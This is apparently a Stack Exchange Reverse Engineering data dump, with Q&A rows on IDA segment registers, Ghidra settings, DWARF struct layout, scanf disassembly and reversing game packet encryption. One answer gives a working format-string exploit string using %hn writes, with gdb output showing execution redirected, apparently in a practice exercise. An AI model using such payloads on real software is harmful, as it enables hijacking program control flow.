  <row Id="25268" PostTypeId="1" AcceptedAnswerId="25279" CreationDate="2020-06-10T19:40:22.550" Score="0" ViewCount="429" Body="&lt;p&gt;I have disassembled an old DOS application with IDA. It run in 16-bit real mode. Some instructions are referencing variables defined in the data segment (DS). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    word ptr ds:8401h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I have imported debug symbols, I can display variable name by simply putting mouse over the &lt;code&gt;ds:xxxxh&lt;/code&gt; part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is this only works when IDA is running in debug mode (eg: a DOSBox process is attached to it). Otherwise nothing is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible explanation is that the data segment register (DS) is only set when application is running so IDA as no clue what value it is. In fact, the very first instructions of the program are dedicated to initializing the data segment : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; entry point&#xA;mov   dx, seg dseg &#xA;...                     &#xA;...                      ; a few instruction later&#xA;mov   ds, dx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this is how IDA is able to guess where the data segment is (which is reported as &lt;em&gt;dseg&lt;/em&gt; in the &lt;em&gt;Segments&lt;/em&gt; view). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that application, DS is set once for good and never changed over the time. Is there a way to tell IDA it should assume DS is equal to a given value in the whole disassembly ? (so hovering those variables will give proper name even when no process is attached).&lt;/p&gt;&#xA;" OwnerUserId="14570" LastEditorUserId="14570" LastEditDate="2020-06-10T22:36:29.163" LastActivityDate="2020-06-11T20:29:35.230" Title="How to retrieve name of a variable defined in the data segment in IDA when no process is attached?" Tags="|ida|debugging|symbols|dos|segmentation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25269" PostTypeId="2" ParentId="25257" CreationDate="2020-06-10T22:01:06.957" Score="1" Body="&lt;p&gt;The input string that finally let me execute the not nice function was echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff. %x %x %x %x %33929x %hn' &gt; /tmp/xxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gave me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22    (*fptr)();&#xA;(gdb) x/4xw 0xffffd070&#xA;0xffffd070: 0x00000001  0x00000003  0xf7e25a50  0x080484b4&#xA;(gdb) c&#xA;Continuing.&#xA;you are in the NOT nice function!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28051" LastActivityDate="2020-06-10T22:01:06.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25270" PostTypeId="1" CreationDate="2020-06-11T00:41:07.203" Score="1" ViewCount="1476" Body="&lt;p&gt;I am attempting to communicate to a device i have via the onboard rx/tx solder points i found on the board. I am doing this via an arduino uno.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem i am having is that when i connect to it via serial (baud 115200) i get the correct output from the device but any key i press seems to come up as a random character. Is there a setting that i need to change in putty? What am i missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following screenshot is just holding down the &quot;h&quot; key.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9xzUL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xzUL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33517" LastActivityDate="2020-06-11T10:46:48.390" Title="Wrong keyboard strokes sent to serial in putty" Tags="|hardware|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25271" PostTypeId="1" AcceptedAnswerId="25291" CreationDate="2020-06-11T05:09:23.033" Score="1" ViewCount="62" Body="&lt;p&gt;Some of the structure types have members that are not stacked next to each other. Check out the structure type at 0x33E6 in bzip2_base (x86-64) &lt;a href=&quot;https://github.com/ryantanwk/VaTy/blob/master/benchmark/sample_binaries/bzip2_base.gcc54-64bit.DIE&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. There's an int at location offset 0, a char at 4 and then an int at 5004! and so on, which brings up the size of the struct to 5104 Bytes, although it only consists of int and char variables (3 of each) with a struct called strm which is 640 Bytes long.&lt;/p&gt;&#xA;" OwnerUserId="33460" LastEditorUserId="33460" LastEditDate="2020-06-14T11:11:18.637" LastActivityDate="2020-06-14T22:29:47.650" Title="How are members of a Structure Type positioned on the stack?" Tags="|elf|struct|debugging-symbols|stack-variables|type-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25272" PostTypeId="2" ParentId="25268" CreationDate="2020-06-11T07:54:01.037" Score="1" Body="&lt;p&gt;You can press &lt;code&gt;Ctrl+G&lt;/code&gt; and check the different settings of the segment registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can press &lt;code&gt;Alt+G&lt;/code&gt; to edit the segment registers.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-06-11T07:54:01.037" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25273" PostTypeId="2" ParentId="25270" CreationDate="2020-06-11T10:46:48.390" Score="2" Body="&lt;p&gt;You have probably tried already but other baud rates?&#xA;9600, 1200, 2400, 57600&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like 8,N,1 is common?&#xA;8 DATA, No parity, and 1 STOP bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe helpful?&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/11997108/what-does-putty-send-when-i-press-enter-key&quot;&gt;https://stackoverflow.com/questions/11997108/what-does-putty-send-when-i-press-enter-key&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing what the Enter key does under the Terminal Keyboard setting might not be available in putty can't remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try typing ESC[20h in putty after connecting to the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try another terminal such as RealTerm?&#xA;&lt;a href=&quot;https://sourceforge.net/projects/realterm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceforge.net/projects/realterm/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bad ground/connection?&#xA;Looks similar to what happened in this buspirate video on hidden serial ports, although his issue turned out to be wrong wires.&#xA;&lt;a href=&quot;https://youtu.be/ey8flzU9DJg?t=343&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/ey8flzU9DJg?t=343&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A full series here might have something useful to debug why this is happening?&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=v9q6Sye7WgU&amp;amp;list=PLRovDyowOn5GZBvMGBRxFG_UrpdfFV6t5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=v9q6Sye7WgU&amp;amp;list=PLRovDyowOn5GZBvMGBRxFG_UrpdfFV6t5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thoughts that come to mind as it looked like something I saw elsewhere, however I don't have a lot of experience in this area yet and have only tampered with basics with the bus pirate, sorry in advanced if im not helping...&lt;/p&gt;&#xA;" OwnerUserId="3223" LastActivityDate="2020-06-11T10:46:48.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25275" PostTypeId="2" ParentId="25252" CreationDate="2020-06-11T11:11:04.103" Score="1" Body="&lt;p&gt;In some games I have found the encryption on, it has been before the send call e.g. a function that calls send sometimes 2-3 calls up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For recv it is decrypting after but some first decrypted part of it for a header to look up the size/id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others had compressed packets (zlib) which took a little bit of figuring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A trick to see if is possibly compressed or encrypted well is try to compress the data (if large enough) if it does not get any meaningful compression then it is already compressed or encrypted enough to look random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the application might call recv or some other func to get data in.&#xA;Then it may, decrypt some identifier or length e.g. Packet ID lookup size or size in header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try sending 20 A characters the first time&#xA;Restarting the app and sending 23 A characters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do a byte by byte difference and see what stands out as different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes encryption key could be sent by the server first, in which case look for a single byte, block of bytes etc, that is copied somewhere on first recv, find references to that or memory (add a read breakpoint on it) and you might find your encrypt and/or decrypt routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do multiple connections with same input data have the same data sent on the wire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you send some reliable information and packet sniff it to see what it looks like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if it has a login as the first packet and it is sent first straight after connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send a long string of AAAAAAAAAAAAAAAAAAAAAAA&#xA;And observe the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it look like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10 00 01 00 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example that would indicate something like xor.&#xA;If xor observe many packets and look for bytes that you see often, e.g. 00 xor by something is the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could also look more jumbled up or blocks of 4 bytes or some length.&#xA;If you see repeating sequence e.g. C9 EF AD CC C9 EF AD CC and you know the input data was a long string of &quot;A&quot;  for example, then its doing a pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen some implementations where something like blowfish was used, initially seeded but they did not handle padding the packet out fully to a multiple of the block length, so odd number of bytes showed up as plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data is different each time from the very first send with no other recv, it could be a time based encryption based on when you connected, or that the client just picks random key and tells the server it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if the first packet sent from client to server is 32 bytes of gibberish, its probably a key or an initialization vector to seed a block cipher or something...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One software was like this.&#xA;CustomSend(data, length)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which copied the bytes to a buffer, offset by packet header.&#xA;Filled in the header with the length.&#xA;Encrypted the entire content using another function (Look for loops before send or a function called before send containing loops could be a few levels up or deep, but you should follow what happens to the buffer of data, you need to do this backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the code backwards can be tricky sometimes I find it easier to go forward if you can find something you know will submit some known data to send to this socket action/packet.&#xA;Sometimes this is after a connect or after a first recv.&#xA;Or after hitting enter in a chat box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also not guaranteed that the same encryption or key is used for both encryption and decryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be some kind of Asymmetric encryption, e.g. one key to encrypt but another to decrypt with each end only knowing the key needed to send or recv data with the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or they could get crafty and encrypt the data one way for the first few packets and switch it up after negotiating keys to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you happen to use IDA or maybe there is an alternative on Ghidra&#xA;&lt;a href=&quot;https://github.com/d3v1l401/FindCrypt-Ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/d3v1l401/FindCrypt-Ghidra&lt;/a&gt;&#xA; or other tools? You can use something like FindCrypt to find known crypto algorithms&#xA;&lt;a href=&quot;https://www.hex-rays.com/blog/findcrypt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/blog/findcrypt/&lt;/a&gt; which by looking at what uses/references them you might find the encrypt/decrypt that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds fun hope you can make some progress on it.&lt;/p&gt;&#xA;" OwnerUserId="3223" LastEditorUserId="3223" LastEditDate="2020-06-11T11:18:23.167" LastActivityDate="2020-06-11T11:18:23.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25276" PostTypeId="1" AcceptedAnswerId="25282" CreationDate="2020-06-11T12:16:36.497" Score="3" ViewCount="2869" Body="&lt;p&gt;I am using this extension for loading PS-X executables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/lab313ru/ghidra_psx_ldr&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lab313ru/ghidra_psx_ldr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During decompilation, Ghidra shows some of these warnings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WARNING: Removing unreachable block (ram,0x8003a320)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you know how to prevent Ghidra from pruning these code blocks ?&lt;/p&gt;&#xA;" OwnerUserId="4122" LastEditorUserId="153" LastEditDate="2020-06-13T20:39:30.067" LastActivityDate="2020-06-13T20:39:30.067" Title="How to prevent Ghidra from removing unreachable blocks?" Tags="|decompilation|ghidra|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25278" PostTypeId="1" CreationDate="2020-06-11T17:44:44.270" Score="1" ViewCount="920" Body="&lt;p&gt;I am trying to understand scanf function a have 3 question regarding it.&#xA;this is &lt;code&gt;c&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(){&#xA;    int x;&#xA;    printf(&quot;Enter X:\n&quot;);&#xA;    scanf(&quot;%i&quot;,&amp;amp;x);&#xA;    printf(&quot;You entered %d...\n&quot;,x);&#xA;    return  0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is gas:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text&#xA;    .section    .rodata&#xA;.LC0:&#xA;    .string &quot;Enter X:&quot;&#xA;.LC1:&#xA;    .string &quot;%i&quot;&#xA;.LC2:&#xA;    .string &quot;You entered %d...\n&quot;&#xA;    .text&#xA;    .globl  main&#xA;    .type   main, @function&#xA;main:&#xA;    pushq   %rbp    #&#xA;    movq    %rsp, %rbp  #,&#xA;    subq    $16, %rsp   #,&#xA;# a.c:5:    printf(&quot;Enter X:\n&quot;);&#xA;    leaq    .LC0(%rip), %rdi    #,&#xA;    call    puts@PLT    #&#xA;# a.c:6:    scanf(&quot;%i&quot;,&amp;amp;x);&#xA;    leaq    -4(%rbp), %rax  #, tmp90&#xA;    movq    %rax, %rsi  # tmp90,&#xA;    leaq    .LC1(%rip), %rdi    #,&#xA;    movl    $0, %eax    #,&#xA;    call    __isoc99_scanf@PLT  #&#xA;# a.c:7:    printf(&quot;You entered %d...\n&quot;,x);&#xA;    movl    -4(%rbp), %eax  # x, x.0_1&#xA;    movl    %eax, %esi  # x.0_1,&#xA;    leaq    .LC2(%rip), %rdi    #,&#xA;    movl    $0, %eax    #,&#xA;    call    printf@PLT  #&#xA;# a.c:8:    return  0;&#xA;    movl    $0, %eax    #, _6&#xA;# a.c:9: }&#xA;    leave   &#xA;    ret &#xA;    .size   main, .-main&#xA;    .ident  &quot;GCC: (Debian 8.3.0-6) 8.3.0&quot;&#xA;    .section    .note.GNU-stack,&quot;&quot;,@progbits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1)&#xA;The &lt;code&gt;rsi&lt;/code&gt; should take address of &lt;code&gt;x&lt;/code&gt; int, but it takes the address from &lt;code&gt;-4(%rbp)&lt;/code&gt;, where there is nothing, in time of execution. Because the initialization of &lt;code&gt;x&lt;/code&gt; variable comes from the &lt;code&gt;stdin&lt;/code&gt; as scanf waits for input to init the variable. But the what is in &lt;code&gt;-4(%rbp)&lt;/code&gt; in the time of instruction &lt;code&gt;leaq -4(%rbp), %rax&lt;/code&gt;? It looks like garbage, not address of &lt;code&gt;x&lt;/code&gt;, which value should be initialized from &lt;code&gt;stdin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)according to this &lt;a href=&quot;https://stackoverflow.com/questions/54165346/integer-describing-number-of-floating-point-arguments-in-xmm-registers-not-passe&quot;&gt;https://stackoverflow.com/questions/54165346/integer-describing-number-of-floating-point-arguments-in-xmm-registers-not-passe&lt;/a&gt;, the &lt;code&gt;movl $0, %eax&lt;/code&gt; is to zero FP registers in &lt;code&gt;al&lt;/code&gt;, but that is the same convention for &lt;code&gt;printf&lt;/code&gt;. So my question is, to which functions from glibc or other libraries apply this convetion? (So I have to zero &lt;code&gt;%al&lt;/code&gt; in printf, scanf, ....?). I assume to every, that has &lt;code&gt;va_list&lt;/code&gt; or variable argument?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) where in the gas source is stack canary in that should protect scanf buffer from overflow? according to this: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/10823/how-does-scanf-interact-with-my-code-in-assembly&quot;&gt;How does scanf interact with my code in assembly&lt;/a&gt;, this should set canary (in masm):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080484c5 &amp;lt;+6&amp;gt;: mov    eax,gs:0x14&#xA;   0x080484cb &amp;lt;+12&amp;gt;:    mov    DWORD PTR [ebp-0xc],eax&#xA;   0x080484ce &amp;lt;+15&amp;gt;:    xor    eax,eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I see nothing similar to this in my gas source, which is also output from gcc, which should set it by itself (unless there is some checking in the the scanf function itself which is not visible in my source). So where is it?&lt;/p&gt;&#xA;" OwnerUserId="30782" LastActivityDate="2020-11-09T11:01:40.143" Title="Disassemble scanf storage register" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25279" PostTypeId="2" ParentId="25268" CreationDate="2020-06-11T20:29:35.230" Score="1" Body="&lt;p&gt;You need to set &lt;code&gt;ds&lt;/code&gt; to the actual segment value used by the program. Usually it's one of the segments near the end. I suggest you to check which of the segments has something fitting at 8401h, or try to see how ds is set up in the calling function (you may need to go several levels up). You can also try to map the value you see in DOSBox debugger back to one of the segments in IDA (e.g. check what is at ds:0 and find it in database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;kbd&gt;Alt-G&lt;/kbd&gt; dialog, you can enter the selector (paragraph) value of the segment (database, not runtime) or simply the segment name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all accesses in the current code segment use the same data segment, you can set it as the default in Edit-Segments-Set Default Segment Register Value...&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-11T20:29:35.230" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25281" PostTypeId="1" CreationDate="2020-06-12T04:01:01.710" Score="1" ViewCount="61" Body="&lt;p&gt;Take for example, 'kernel32.dll', the export table already provides the list of exported functions, then in what use case, would I need to download the debugging symbols for it from the MS symbol server?&lt;/p&gt;&#xA;" OwnerUserId="15582" LastActivityDate="2020-06-12T15:09:31.940" Title="In the context of the Windows API, what extra information do the debugging symbols provide that the export table doesnt provide?" Tags="|winapi|debugging-symbols|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25282" PostTypeId="2" ParentId="25276" CreationDate="2020-06-12T07:09:05.817" Score="8" Body="&lt;p&gt;By default, there is a setting in Code Browser that allows Ghidra to eliminate unreachable code, you would have to change the setting by editing the options for Code Browser. This can be done by going to Edit -&gt; Tools Options. This would bring you to a page as seen in the screenshot below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ihwZg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihwZg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Analysis options in the Decompiler folder, there is a checkbox called &quot;Eliminate unreachable code&quot;, uncheck that and apply the option. I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="33115" LastActivityDate="2020-06-12T07:09:05.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25283" PostTypeId="2" ParentId="25281" CreationDate="2020-06-12T10:08:43.720" Score="2" Body="&lt;p&gt;without symbols most of the calls would be like call dword ptr ds :[12345678]  or call 45678976  or jmp 86753535 etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with symbols it would be like call dword ptr ds:[exitprocess]    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;call foo32!blah&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jmp some-non-exported-address-that-was-named-by-symbol etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apart from names symbols provide typeinfo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like push foo-&gt;blah&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of push [eax+60]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also exported apis can be ordinal exports &#xA;then all calls will look like call ord1 call ord2 call ordn&lt;br&gt;&#xA;without a symbol file you will have a hard time renaming and analyzing them&lt;br&gt;&#xA;take a look at mfcxx.dll &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-06-12T15:09:31.940" LastActivityDate="2020-06-12T15:09:31.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25284" PostTypeId="2" ParentId="25281" CreationDate="2020-06-12T10:18:55.647" Score="2" Body="&lt;p&gt;Most available public symbol files provide only global function and variable names (both exported and &lt;strong&gt;non-exported&lt;/strong&gt; ones). A small minority (e.g. ntdll, kernel32, ntoskrnl) also include various system &lt;strong&gt;types&lt;/strong&gt; (structures , enumerations) which is very useful for low level debugging. But even without types you can often guess a lot just from the function names. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-12T10:18:55.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25285" PostTypeId="2" ParentId="25278" CreationDate="2020-06-12T10:35:46.483" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;rbp-4&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; the location allocated by the compiler for the variable &lt;code&gt;x&lt;/code&gt;. You can see that later it’s being read by the &lt;code&gt;mov&lt;/code&gt; instruction for the &lt;code&gt;printf&lt;/code&gt; call. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;al&lt;/code&gt; must be set before every call to a variadic function &lt;code&gt;(...)&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;This depends on GCC version/build options but by default, stack protection is only used in functions with buffers(arrays) &lt;a href=&quot;http://mudongliang.github.io/2016/05/24/stack-protector.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;over 8 bytes large&lt;/a&gt;. Because you have only a single integer, there is no way it would be overrun so no stack protection is added. If you want to enable it regardless, use &lt;code&gt;-fstack-protector-all&lt;/code&gt;. Note that the stack protector cannot do anything about integer overflows. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-12T10:35:46.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25288" PostTypeId="1" AcceptedAnswerId="26317" CreationDate="2020-06-13T10:57:28.630" Score="2" ViewCount="136" Body="&lt;p&gt;Recently I came across the following set of vector instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movq      xmm0, rcx&#xA;punpckldq xmm0, 0x4530000043300000&#xA;subpd     xmm0, 0x4330000000000000&#xA;haddpd    xmm0, xmm0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only sensible information I found based on the constants is a routine called &lt;a href=&quot;https://github.com/MerryMage/dynarmic/blob/4aa4885ba707ac5e8d88a146336458a8bbe1304c/src/backend_x64/emit_x64_vector_floating_point.cpp#L413-L468&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;EmitFPVectorU64ToDouble&lt;/code&gt;&lt;/a&gt;. Runtime behavior seemed to confirm that these instructions indeed convert an &lt;em&gt;unsigned integer&lt;/em&gt; onto &lt;em&gt;scalar double-precision float&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is an explanation of why these instructions achieve the result, theory behind it.&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2020-11-16T23:32:36.243" Title="What numeric properties are used in this Unsigned Integer (64bit) -&gt; Floating Vector (128bit) conversion?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25289" PostTypeId="1" CreationDate="2020-06-13T19:11:08.457" Score="2" ViewCount="953" Body="&lt;p&gt;When I enter to some site it ask me to install ActivX to my Internet Explorer browser so this site will work well.  I installed that,and that site works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see this ActiveX code(where does the code located)  and debug this code with Ida?&lt;/p&gt;&#xA;" OwnerUserId="30423" LastEditorUserId="30423" LastEditDate="2020-06-13T19:19:31.160" LastActivityDate="2020-06-16T20:03:14.483" Title="How to debugging activeX with Ida" Tags="|ida|windows|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25290" PostTypeId="1" CreationDate="2020-06-13T20:58:13.803" Score="2" ViewCount="291" Body="&lt;p&gt;I'm trying to break execution when a string is loaded in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can´t find the string by using the &lt;code&gt;search for -&amp;gt; string references&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I press &lt;code&gt;Alt + M&lt;/code&gt; and press &lt;code&gt;Ctrl + B&lt;/code&gt; to search my string once is loaded, I can see it.&#xA;I try to right click on the address and set a hardware breakpoint but the software closes as soon as that string is shown so it doesn't break on the next run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set a condition so if a string appears a break happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;shift + F4&lt;/code&gt; like with ollydbg and then I try to create an expression like this &lt;code&gt;UNICODE[EAX] == &quot;myString&quot;&lt;/code&gt; but it says &lt;code&gt;invalid expression...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried the same expression using traceInto, but it definitely is not matching for the string, because I can't see it int he dump and even if I compare with a huge string, it doesn't do anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or ideas?&lt;/p&gt;&#xA;" OwnerUserId="33540" LastActivityDate="2020-06-13T20:58:13.803" Title="x64dbg break when hex string is loaded" Tags="|debugging|x64dbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25291" PostTypeId="2" ParentId="25271" CreationDate="2020-06-13T22:51:02.987" Score="3" Body="&lt;p&gt;The second member, called &lt;code&gt;buf&lt;/code&gt; (at location 4) is &lt;em&gt;not&lt;/em&gt; a &lt;code&gt;char&lt;/code&gt;. The type of that member is defined at &lt;code&gt;0x3451&lt;/code&gt;, and this is an &lt;em&gt;array&lt;/em&gt; type. Its elements are each of the type defined at &lt;code&gt;0x2d04&lt;/code&gt;, which is a typedef named &lt;code&gt;Char&lt;/code&gt;, which redirects to &lt;code&gt;0x29b7&lt;/code&gt;, which is indeed &lt;code&gt;char&lt;/code&gt; (represented as base type &lt;code&gt;signed char&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;1&amp;gt;&amp;lt;3451&amp;gt;: Abbrev Number: 11 (DW_TAG_array_type)&#xA;    &amp;lt;3452&amp;gt;   DW_AT_type        : &amp;lt;0x2d04&amp;gt;       ==&amp;gt; Char   ==&amp;gt; (signed) char&#xA;    &amp;lt;3456&amp;gt;   DW_AT_sibling     : &amp;lt;0x3462&amp;gt;       ==&amp;gt; just management info&#xA; &amp;lt;2&amp;gt;&amp;lt;345a&amp;gt;: Abbrev Number: 25 (DW_TAG_subrange_type)&#xA;    &amp;lt;345b&amp;gt;   DW_AT_type        : &amp;lt;0x29a8&amp;gt;       ==&amp;gt; indexed by &quot;sizetype&quot;&#xA;    &amp;lt;345f&amp;gt;   DW_AT_upper_bound : 4999           ==&amp;gt; indices are 0..4999&#xA; &amp;lt;2&amp;gt;&amp;lt;3461&amp;gt;: Abbrev Number: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the type of that member is an array containing 5000 &lt;code&gt;Char&lt;/code&gt; objects which are &lt;code&gt;char&lt;/code&gt; objects. So it is not surprising that when &lt;code&gt;buf&lt;/code&gt; starts at offset 4, the next object starts at offset 5004.&lt;/p&gt;&#xA;" OwnerUserId="21359" LastEditorUserId="21359" LastEditDate="2020-06-14T22:29:47.650" LastActivityDate="2020-06-14T22:29:47.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
